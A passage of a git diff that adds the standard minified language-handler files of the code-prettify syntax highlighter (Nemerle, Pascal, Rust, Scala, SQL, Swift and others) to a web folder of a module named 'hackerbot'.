+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["str",/^(?:\'(?:[^\\\'\r\n]|\\.)*\'|\"(?:[^\\\"\r\n]|\\.)*(?:\"|$))/,null,'"'],["com",/^#(?:(?:define|elif|else|endif|error|ifdef|include|ifndef|line|pragma|undef|warning)\b|[^\r\n]*)/,null,"#"],["pln",/^\s+/,null," \r\n\t\u00a0"]],[["str",/^@\"(?:[^\"]|\"\")*(?:\"|$)/,null],["str",/^<#(?:[^#>])*(?:#>|$)/,null],["str",/^<(?:(?:(?:\.\.\/)*|\/?)(?:[\w-]+(?:\/[\w-]+)+)?[\w-]+\.h|[a-z]\w*)>/,null],["com",/^\/\/[^\r\n]*/,
+null],["com",/^\/\*[\s\S]*?(?:\*\/|$)/,null],["kwd",/^(?:abstract|and|as|base|catch|class|def|delegate|enum|event|extern|false|finally|fun|implements|interface|internal|is|macro|match|matches|module|mutable|namespace|new|null|out|override|params|partial|private|protected|public|ref|sealed|static|struct|syntax|this|throw|true|try|type|typeof|using|variant|virtual|volatile|when|where|with|assert|assert2|async|break|checked|continue|do|else|ensures|for|foreach|if|late|lock|new|nolate|otherwise|regexp|repeat|requires|return|surroundwith|unchecked|unless|using|while|yield)\b/,
+null],["typ",/^(?:array|bool|byte|char|decimal|double|float|int|list|long|object|sbyte|short|string|ulong|uint|ufloat|ulong|ushort|void)\b/,null],["lit",/^@[a-z_$][a-z_$@0-9]*/i,null],["typ",/^@[A-Z]+[a-z][A-Za-z_$@0-9]*/,null],["pln",/^'?[A-Za-z_$][a-z_$@0-9]*/i,null],["lit",/^(?:0x[a-f0-9]+|(?:\d(?:_\d+)*\d*(?:\.\d*)?|\.\d\+)(?:e[+\-]?\d+)?)[a-z]*/i,null,"0123456789"],["pun",/^.[^\s\w\.$@\'\"\`\/\#]*/,null]]),["n","nemerle"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-nemerle.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-nemerle.js
new file mode 100644
index 000000000..9b3910c9a
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-nemerle.js
@@ -0,0 +1,19 @@
+/*
+
+ Copyright (C) 2011 Zimin A.V.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["str",/^(?:\'(?:[^\\\'\r\n]|\\.)*\'|\"(?:[^\\\"\r\n]|\\.)*(?:\"|$))/,null,'"'],["com",/^#(?:(?:define|elif|else|endif|error|ifdef|include|ifndef|line|pragma|undef|warning)\b|[^\r\n]*)/,null,"#"],["pln",/^\s+/,null," \r\n\t\u00a0"]],[["str",/^@\"(?:[^\"]|\"\")*(?:\"|$)/,null],["str",/^<#(?:[^#>])*(?:#>|$)/,null],["str",/^<(?:(?:(?:\.\.\/)*|\/?)(?:[\w-]+(?:\/[\w-]+)+)?[\w-]+\.h|[a-z]\w*)>/,null],["com",/^\/\/[^\r\n]*/,
+null],["com",/^\/\*[\s\S]*?(?:\*\/|$)/,null],["kwd",/^(?:abstract|and|as|base|catch|class|def|delegate|enum|event|extern|false|finally|fun|implements|interface|internal|is|macro|match|matches|module|mutable|namespace|new|null|out|override|params|partial|private|protected|public|ref|sealed|static|struct|syntax|this|throw|true|try|type|typeof|using|variant|virtual|volatile|when|where|with|assert|assert2|async|break|checked|continue|do|else|ensures|for|foreach|if|late|lock|new|nolate|otherwise|regexp|repeat|requires|return|surroundwith|unchecked|unless|using|while|yield)\b/,
+null],["typ",/^(?:array|bool|byte|char|decimal|double|float|int|list|long|object|sbyte|short|string|ulong|uint|ufloat|ulong|ushort|void)\b/,null],["lit",/^@[a-z_$][a-z_$@0-9]*/i,null],["typ",/^@[A-Z]+[a-z][A-Za-z_$@0-9]*/,null],["pln",/^'?[A-Za-z_$][a-z_$@0-9]*/i,null],["lit",/^(?:0x[a-f0-9]+|(?:\d(?:_\d+)*\d*(?:\.\d*)?|\.\d\+)(?:e[+\-]?\d+)?)[a-z]*/i,null,"0123456789"],["pun",/^.[^\s\w\.$@\'\"\`\/\#]*/,null]]),["n","nemerle"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-pascal.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-pascal.js
new file mode 100644
index 000000000..c76a11cfa
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-pascal.js
@@ -0,0 +1,18 @@
+/*
+
+ Copyright (C) 2013 Peter Kofler
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["str",/^(?:\'(?:[^\\\'\r\n]|\\.)*(?:\'|$))/,null,"'"],["pln",/^\s+/,null," \r\n\t\u00a0"]],[["com",/^\(\*[\s\S]*?(?:\*\)|$)|^\{[\s\S]*?(?:\}|$)/,null],["kwd",/^(?:ABSOLUTE|AND|ARRAY|ASM|ASSEMBLER|BEGIN|CASE|CONST|CONSTRUCTOR|DESTRUCTOR|DIV|DO|DOWNTO|ELSE|END|EXTERNAL|FOR|FORWARD|FUNCTION|GOTO|IF|IMPLEMENTATION|IN|INLINE|INTERFACE|INTERRUPT|LABEL|MOD|NOT|OBJECT|OF|OR|PACKED|PROCEDURE|PROGRAM|RECORD|REPEAT|SET|SHL|SHR|THEN|TO|TYPE|UNIT|UNTIL|USES|VAR|VIRTUAL|WHILE|WITH|XOR)\b/i,
+null],["lit",/^(?:true|false|self|nil)/i,null],["pln",/^[a-z][a-z0-9]*/i,null],["lit",/^(?:\$[a-f0-9]+|(?:\d+(?:\.\d*)?|\.\d+)(?:e[+\-]?\d+)?)/i,null,"0123456789"],["pun",/^.[^\s\w\.$@\'\/]*/,null]]),["pascal"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-proto.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-proto.js
new file mode 100644
index 000000000..3215ff6d9
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-proto.js
@@ -0,0 +1,17 @@
+/*
+
+ Copyright (C) 2006 Google Inc.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.sourceDecorator({keywords:"bytes,default,double,enum,extend,extensions,false,group,import,max,message,option,optional,package,repeated,required,returns,rpc,service,syntax,to,true",types:/^(bool|(double|s?fixed|[su]?int)(32|64)|float|string)\b/,cStyleComments:!0}),["proto"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-r.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-r.js
new file mode 100644
index 000000000..6ce16e8a1
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-r.js
@@ -0,0 +1,18 @@
+/*
+
+ Copyright (C) 2012 Jeffrey B. Arnold
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xA0]+/,null,"\t\n\r \u00a0"],["str",/^\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)/,null,'"'],["str",/^\'(?:[^\'\\]|\\[\s\S])*(?:\'|$)/,null,"'"]],[["com",/^#.*/],["kwd",/^(?:if|else|for|while|repeat|in|next|break|return|switch|function)(?![A-Za-z0-9_.])/],["lit",/^0[xX][a-fA-F0-9]+([pP][0-9]+)?[Li]?/],["lit",/^[+-]?([0-9]+(\.[0-9]+)?|\.[0-9]+)([eE][+-]?[0-9]+)?[Li]?/],["lit",/^(?:NULL|NA(?:_(?:integer|real|complex|character)_)?|Inf|TRUE|FALSE|NaN|\.\.(?:\.|[0-9]+))(?![A-Za-z0-9_.])/],
+["pun",/^(?:<<?-|->>?|-|==|<=|>=|<|>|&&?|!=|\|\|?|\*|\+|\^|\/|!|%.*?%|=|~|\$|@|:{1,3}|[\[\](){};,?])/],["pln",/^(?:[A-Za-z]+[A-Za-z0-9_.]*|\.[a-zA-Z_][0-9a-zA-Z\._]*)(?![A-Za-z0-9_.])/],["str",/^`.+`/]]),["r","s","R","S","Splus"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-rd.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-rd.js
new file mode 100644
index 000000000..113141c90
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-rd.js
@@ -0,0 +1,17 @@
+/*
+
+ Copyright (C) 2012 Jeffrey Arnold
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xA0]+/,null,"\t\n\r \u00a0"],["com",/^%[^\r\n]*/,null,"%"]],[["lit",/^\\(?:cr|l?dots|R|tab)\b/],["kwd",/^\\[a-zA-Z@]+/],["kwd",/^#(?:ifn?def|endif)/],["pln",/^\\[{}]/],["pun",/^[{}()\[\]]+/]]),["Rd","rd"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-rkt.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-rkt.js
new file mode 100644
index 000000000..2f18c967e
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-rkt.js
@@ -0,0 +1,18 @@
+/*
+
+ Copyright (C) 2008 Google Inc.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["opn",/^\(+/,null,"("],["clo",/^\)+/,null,")"],["com",/^;[^\r\n]*/,null,";"],["pln",/^[\t\n\r \xA0]+/,null,"\t\n\r \u00a0"],["str",/^\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)/,null,'"']],[["kwd",/^(?:block|c[ad]+r|catch|con[ds]|def(?:ine|un)|do|eq|eql|equal|equalp|eval-when|flet|format|go|if|labels|lambda|let|load-time-value|locally|macrolet|multiple-value-call|nil|progn|progv|quote|require|return-from|setq|symbol-macrolet|t|tagbody|the|throw|unwind)\b/,
+null],["lit",/^[+\-]?(?:[0#]x[0-9a-f]+|\d+\/\d+|(?:\.\d+|\d+(?:\.\d*)?)(?:[ed][+\-]?\d+)?)/i],["lit",/^\'(?:-*(?:\w|\\[\x21-\x7e])(?:[\w-]*|\\[\x21-\x7e])[=!?]?)?/],["pln",/^-*(?:[a-z_]|\\[\x21-\x7e])(?:[\w-]*|\\[\x21-\x7e])[=!?]?/i],["pun",/^[^\w\t\n\r \xA0()\"\\\';]+/]]),"cl el lisp lsp scm ss rkt".split(" "));
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-rust.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-rust.js
new file mode 100644
index 000000000..43856778d
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-rust.js
@@ -0,0 +1,20 @@
+/*
+
+ Copyright (C) 2015 Chris Morgan
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([],[["pln",/^[\t\n\r \xA0]+/],["com",/^\/\/.*/],["com",/^\/\*[\s\S]*?(?:\*\/|$)/],["str",/^b"(?:[^\\]|\\(?:.|x[\da-fA-F]{2}))*?"/],["str",/^"(?:[^\\]|\\(?:.|x[\da-fA-F]{2}|u\{\[\da-fA-F]{1,6}\}))*?"/],["str",/^b?r(#*)\"[\s\S]*?\"\1/],["str",/^b'([^\\]|\\(.|x[\da-fA-F]{2}))'/],["str",/^'([^\\]|\\(.|x[\da-fA-F]{2}|u\{[\da-fA-F]{1,6}\}))'/],["tag",/^'\w+?\b/],["kwd",/^(?:match|if|else|as|break|box|continue|extern|fn|for|in|if|impl|let|loop|pub|return|super|unsafe|where|while|use|mod|trait|struct|enum|type|move|mut|ref|static|const|crate)\b/],
+["kwd",/^(?:alignof|become|do|offsetof|priv|pure|sizeof|typeof|unsized|yield|abstract|virtual|final|override|macro)\b/],["typ",/^(?:[iu](8|16|32|64|size)|char|bool|f32|f64|str|Self)\b/],["typ",/^(?:Copy|Send|Sized|Sync|Drop|Fn|FnMut|FnOnce|Box|ToOwned|Clone|PartialEq|PartialOrd|Eq|Ord|AsRef|AsMut|Into|From|Default|Iterator|Extend|IntoIterator|DoubleEndedIterator|ExactSizeIterator|Option|Some|None|Result|Ok|Err|SliceConcatExt|String|ToString|Vec)\b/],["lit",/^(self|true|false|null)\b/],
+["lit",/^\d[0-9_]*(?:[iu](?:size|8|16|32|64))?/],["lit",/^0x[a-fA-F0-9_]+(?:[iu](?:size|8|16|32|64))?/],["lit",/^0o[0-7_]+(?:[iu](?:size|8|16|32|64))?/],["lit",/^0b[01_]+(?:[iu](?:size|8|16|32|64))?/],["lit",/^\d[0-9_]*\.(?![^\s\d.])/],["lit",/^\d[0-9_]*(?:\.\d[0-9_]*)(?:[eE][+-]?[0-9_]+)?(?:f32|f64)?/],["lit",/^\d[0-9_]*(?:\.\d[0-9_]*)?(?:[eE][+-]?[0-9_]+)(?:f32|f64)?/],["lit",/^\d[0-9_]*(?:\.\d[0-9_]*)?(?:[eE][+-]?[0-9_]+)?(?:f32|f64)/],
+["atn",/^[a-z_]\w*!/i],["pln",/^[a-z_]\w*/i],["atv",/^#!?\[[\s\S]*?\]/],["pun",/^[+\-/*=^&|!<>%[\](){}?:.,;]/],["pln",/./]]),["rust"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-s.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-s.js
new file mode 100644
index 000000000..6ce16e8a1
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-s.js
@@ -0,0 +1,18 @@
+/*
+
+ Copyright (C) 2012 Jeffrey B. Arnold
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xA0]+/,null,"\t\n\r \u00a0"],["str",/^\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)/,null,'"'],["str",/^\'(?:[^\'\\]|\\[\s\S])*(?:\'|$)/,null,"'"]],[["com",/^#.*/],["kwd",/^(?:if|else|for|while|repeat|in|next|break|return|switch|function)(?![A-Za-z0-9_.])/],["lit",/^0[xX][a-fA-F0-9]+([pP][0-9]+)?[Li]?/],["lit",/^[+-]?([0-9]+(\.[0-9]+)?|\.[0-9]+)([eE][+-]?[0-9]+)?[Li]?/],["lit",/^(?:NULL|NA(?:_(?:integer|real|complex|character)_)?|Inf|TRUE|FALSE|NaN|\.\.(?:\.|[0-9]+))(?![A-Za-z0-9_.])/],
+["pun",/^(?:<<?-|->>?|-|==|<=|>=|<|>|&&?|!=|\|\|?|\*|\+|\^|\/|!|%.*?%|=|~|\$|@|:{1,3}|[\[\](){};,?])/],["pln",/^(?:[A-Za-z]+[A-Za-z0-9_.]*|\.[a-zA-Z_][0-9a-zA-Z\._]*)(?![A-Za-z0-9_.])/],["str",/^`.+`/]]),["r","s","R","S","Splus"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-scala.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-scala.js
new file mode 100644
index 000000000..3347dd608
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-scala.js
@@ -0,0 +1,18 @@
+/*
+
+ Copyright (C) 2010 Google Inc.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xA0]+/,null,"\t\n\r \u00a0"],["str",/^(?:"(?:(?:""(?:""?(?!")|[^\\"]|\\.)*"{0,3})|(?:[^"\r\n\\]|\\.)*"?))/,null,'"'],["lit",/^`(?:[^\r\n\\`]|\\.)*`?/,null,"`"],["pun",/^[!#%&()*+,\-:;<=>?@\[\\\]^{|}~]+/,null,"!#%&()*+,-:;<=>?@[\\]^{|}~"]],[["str",/^'(?:[^\r\n\\']|\\(?:'|[^\r\n']+))'/],["lit",/^'[a-zA-Z_$][\w$]*(?!['$\w])/],["kwd",/^(?:abstract|case|catch|class|def|do|else|extends|final|finally|for|forSome|if|implicit|import|lazy|match|new|object|override|package|private|protected|requires|return|sealed|super|throw|trait|try|type|val|var|while|with|yield)\b/],
+["lit",/^(?:true|false|null|this)\b/],["lit",/^(?:(?:0(?:[0-7]+|X[0-9A-F]+))L?|(?:(?:0|[1-9][0-9]*)(?:(?:\.[0-9]+)?(?:E[+\-]?[0-9]+)?F?|L?))|\\.[0-9]+(?:E[+\-]?[0-9]+)?F?)/i],["typ",/^[$_]*[A-Z][_$A-Z0-9]*[a-z][\w$]*/],["pln",/^[$a-zA-Z_][\w$]*/],["com",/^\/(?:\/.*|\*(?:\/|\**[^*/])*(?:\*+\/?)?)/],["pun",/^(?:\.+|\/)/]]),["scala"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-scm.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-scm.js
new file mode 100644
index 000000000..2f18c967e
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-scm.js
@@ -0,0 +1,18 @@
+/*
+
+ Copyright (C) 2008 Google Inc.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["opn",/^\(+/,null,"("],["clo",/^\)+/,null,")"],["com",/^;[^\r\n]*/,null,";"],["pln",/^[\t\n\r \xA0]+/,null,"\t\n\r \u00a0"],["str",/^\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)/,null,'"']],[["kwd",/^(?:block|c[ad]+r|catch|con[ds]|def(?:ine|un)|do|eq|eql|equal|equalp|eval-when|flet|format|go|if|labels|lambda|let|load-time-value|locally|macrolet|multiple-value-call|nil|progn|progv|quote|require|return-from|setq|symbol-macrolet|t|tagbody|the|throw|unwind)\b/,
+null],["lit",/^[+\-]?(?:[0#]x[0-9a-f]+|\d+\/\d+|(?:\.\d+|\d+(?:\.\d*)?)(?:[ed][+\-]?\d+)?)/i],["lit",/^\'(?:-*(?:\w|\\[\x21-\x7e])(?:[\w-]*|\\[\x21-\x7e])[=!?]?)?/],["pln",/^-*(?:[a-z_]|\\[\x21-\x7e])(?:[\w-]*|\\[\x21-\x7e])[=!?]?/i],["pun",/^[^\w\t\n\r \xA0()\"\\\';]+/]]),"cl el lisp lsp scm ss rkt".split(" "));
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-sql.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-sql.js
new file mode 100644
index 000000000..a7d292cb3
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-sql.js
@@ -0,0 +1,18 @@
+/*
+
+ Copyright (C) 2008 Google Inc.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xA0]+/,null,"\t\n\r \u00a0"],["str",/^(?:"(?:[^\"\\]|\\.)*"|'(?:[^\'\\]|\\.)*')/,null,"\"'"]],[["com",/^(?:--[^\r\n]*|\/\*[\s\S]*?(?:\*\/|$))/],["kwd",/^(?:ADD|ALL|ALTER|AND|ANY|APPLY|AS|ASC|AUTHORIZATION|BACKUP|BEGIN|BETWEEN|BREAK|BROWSE|BULK|BY|CASCADE|CASE|CHECK|CHECKPOINT|CLOSE|CLUSTERED|COALESCE|COLLATE|COLUMN|COMMIT|COMPUTE|CONNECT|CONSTRAINT|CONTAINS|CONTAINSTABLE|CONTINUE|CONVERT|CREATE|CROSS|CURRENT|CURRENT_DATE|CURRENT_TIME|CURRENT_TIMESTAMP|CURRENT_USER|CURSOR|DATABASE|DBCC|DEALLOCATE|DECLARE|DEFAULT|DELETE|DENY|DESC|DISK|DISTINCT|DISTRIBUTED|DOUBLE|DROP|DUMMY|DUMP|ELSE|END|ERRLVL|ESCAPE|EXCEPT|EXEC|EXECUTE|EXISTS|EXIT|FETCH|FILE|FILLFACTOR|FOLLOWING|FOR|FOREIGN|FREETEXT|FREETEXTTABLE|FROM|FULL|FUNCTION|GOTO|GRANT|GROUP|HAVING|HOLDLOCK|IDENTITY|IDENTITYCOL|IDENTITY_INSERT|IF|IN|INDEX|INNER|INSERT|INTERSECT|INTO|IS|JOIN|KEY|KILL|LEFT|LIKE|LINENO|LOAD|MATCH|MATCHED|MERGE|NATURAL|NATIONAL|NOCHECK|NONCLUSTERED|NOCYCLE|NOT|NULL|NULLIF|OF|OFF|OFFSETS|ON|OPEN|OPENDATASOURCE|OPENQUERY|OPENROWSET|OPENXML|OPTION|OR|ORDER|OUTER|OVER|PARTITION|PERCENT|PIVOT|PLAN|PRECEDING|PRECISION|PRIMARY|PRINT|PROC|PROCEDURE|PUBLIC|RAISERROR|READ|READTEXT|RECONFIGURE|REFERENCES|REPLICATION|RESTORE|RESTRICT|RETURN|REVOKE|RIGHT|ROLLBACK|ROWCOUNT|ROWGUIDCOL|ROWS?|RULE|SAVE|SCHEMA|SELECT|SESSION_USER|SET|SETUSER|SHUTDOWN|SOME|START|STATISTICS|SYSTEM_USER|TABLE|TEXTSIZE|THEN|TO|TOP|TRAN|TRANSACTION|TRIGGER|TRUNCATE|TSEQUAL|UNBOUNDED|UNION|UNIQUE|UNPIVOT|UPDATE|UPDATETEXT|USE|USER|USING|VALUES|VARYING|VIEW|WAITFOR|WHEN|WHERE|WHILE|WITH|WITHIN|WRITETEXT|XML)(?=[^\w-]|$)/i,
+null],["lit",/^[+-]?(?:0x[\da-f]+|(?:(?:\.\d+|\d+(?:\.\d*)?)(?:e[+\-]?\d+)?))/i],["pln",/^[a-z_][\w-]*/i],["pun",/^[^\w\t\n\r \xA0\"\'][^\w\t\n\r \xA0+\-\"\']*/]]),["sql"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-ss.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-ss.js
new file mode 100644
index 000000000..2f18c967e
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-ss.js
@@ -0,0 +1,18 @@
+/*
+
+ Copyright (C) 2008 Google Inc.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["opn",/^\(+/,null,"("],["clo",/^\)+/,null,")"],["com",/^;[^\r\n]*/,null,";"],["pln",/^[\t\n\r \xA0]+/,null,"\t\n\r \u00a0"],["str",/^\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)/,null,'"']],[["kwd",/^(?:block|c[ad]+r|catch|con[ds]|def(?:ine|un)|do|eq|eql|equal|equalp|eval-when|flet|format|go|if|labels|lambda|let|load-time-value|locally|macrolet|multiple-value-call|nil|progn|progv|quote|require|return-from|setq|symbol-macrolet|t|tagbody|the|throw|unwind)\b/,
+null],["lit",/^[+\-]?(?:[0#]x[0-9a-f]+|\d+\/\d+|(?:\.\d+|\d+(?:\.\d*)?)(?:[ed][+\-]?\d+)?)/i],["lit",/^\'(?:-*(?:\w|\\[\x21-\x7e])(?:[\w-]*|\\[\x21-\x7e])[=!?]?)?/],["pln",/^-*(?:[a-z_]|\\[\x21-\x7e])(?:[\w-]*|\\[\x21-\x7e])[=!?]?/i],["pun",/^[^\w\t\n\r \xA0()\"\\\';]+/]]),"cl el lisp lsp scm ss rkt".split(" "));
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-swift.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-swift.js
new file mode 100644
index 000000000..eb5c31439
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-swift.js
@@ -0,0 +1,18 @@
+/*
+
+ Copyright (C) 2015 Google Inc.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+      http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
